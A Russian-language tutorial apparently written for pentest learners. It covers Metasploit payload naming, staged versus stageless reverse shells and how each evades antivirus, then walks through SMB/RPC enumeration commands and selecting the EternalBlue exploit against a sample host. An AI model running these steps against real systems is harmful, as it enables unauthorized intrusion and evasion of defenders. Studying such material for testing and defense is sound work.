Система наименований
Для начала имеет смысл оговорить, что
msfvenom, ровно как и
meterpreter, использует следующую систему наименований:
Операционка/
Архитектура/
payload
#т.е. например
linux/
x86/
shell_reverse_tcp
Для linux таргетов мы прописываем архитектуру
linux/x86/payload
или
linux/x64/payload
Для Windows таргетов мы прописываем
windows/x64/payload
а для x86 оставляем так:
windows/payload
Концепция ступенчатости полезной нагрузки
Далее напомню, что есть
1) бесступенчатые (Stageless) payload и
2) ступенчатые (Staged)
1) бесступенчатые:
shell_reverse_tcp
2) ступенчатые:
shell/reverse_tcp
1) Бесступенчатые более распространённые, они полностью автономны в том смысле, что есть один фрагмент кода, который при выполнении немедленно отправляет shell обратно на наш прослушивающий порт.
- такие payload как правило, проще в использовании и применении; однако они также более громоздки, и их легче обнаружить и удалить антивирусной программе или программе обнаружения вторжений; на windows 10 вероятность удаления 144%
2) Ступенчатые отправляются двумя частями.
a) небольшой начальный
стейджер, а затем более громоздкий b)
reverse shell, который загружается при активации стейджера.
Стейджер - это фрагмент кода, который выполняется непосредственно на самом сервере. Он подключается обратно на наш прослушивающий порт, но сам по себе не содержит payload.
Вместо этого
stager
a) подключается на наш прослушивающий порт и
b) использует это соединение для загрузки reverse shell
При таких обстоятельствах
reverse shell выполняется напрямую, предотвращая запись на диск таргета, где его могли бы перехватить традиционные антивирусные решения.
Для Staged payloads обычно требуется специальный прослушиватель — как правило, это Metasploit multi handler (
multi/handler)
Staged payloads сложнее использовать, но начальный этап намного короче и иногда пропускается малоэффективным антивирусным программным обеспечением.
Стоит упомянуть, что современные антивирусные решения также будут использовать интерфейс AMSI для обнаружения
reverse shell, когда она загружается в память c помощью
stager, что делает staged payloads менее эффективной.
Наглядный пример
:
1) windows/x64/meterpreter_reverse_tcp
1) windows/x64/meterpreter/reverse_tcp
Теперь в kali можем ввести команду
msfvenom --list payloads
Будет выведен список доступных payload. Для поиска нужного можете использовать grep, например:
ETERNALBLUE ms17-010
Разберём конкретно ms17_010_eternalblue
Для использования данного эксплойта понадобятся открытые порты:
135 msrpc
139 netbios-ssn
445 microsoft-SMB
Для того, чтобы не пинать metasploit и "такой-сякой" kali из-за того, что эксплойт не работает, найдите эти порты, удостоверьтесь, что они открыты. Инструментов куча, проcто перечислю ниже варианты:
Bash:
#Metasploit SMB Auxiliary Module
msf> use auxiliary/scanner/smb/smb_version
msf> set rhost 10.10.1.1
msf> run
Bash:
#Enumeration
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.1.1
enum4linux -a 10.10.1.1
#при наличии логина/пароля
enum4linux -a -u user -p password 10.10.1.1
Bash:
#List available shares
smbclient -N -L //10.10.1.1
Bash:
#Rpc enumeration
rpcdump.py 10.10.1.1
samrdump.py 10.10.1.1
nmap -sV --script=msrpc-enum 10.10.1.1
Выбрав соответствующий эксплойт
exploit/windows/smb/ms17_010_eternalblue
по дефолту будет назначен следующий payload windows/x64/shell/reverse_tcp
Вы можете посмотртеть всю информацию об эксплойте, например:
Bash:
show targets
show payloads
show evasion
И станет очевидно, например, что конкретно данный эксплойт могёт x64 начиная с win7.
Соответственно для всего прочего нужны другие модули и инструменты.
Конечно, если мы будем говорить в целом о скане хоста на уязвимости или всей сети, сети с подсетями и т.д. существует соответствующие инструменты.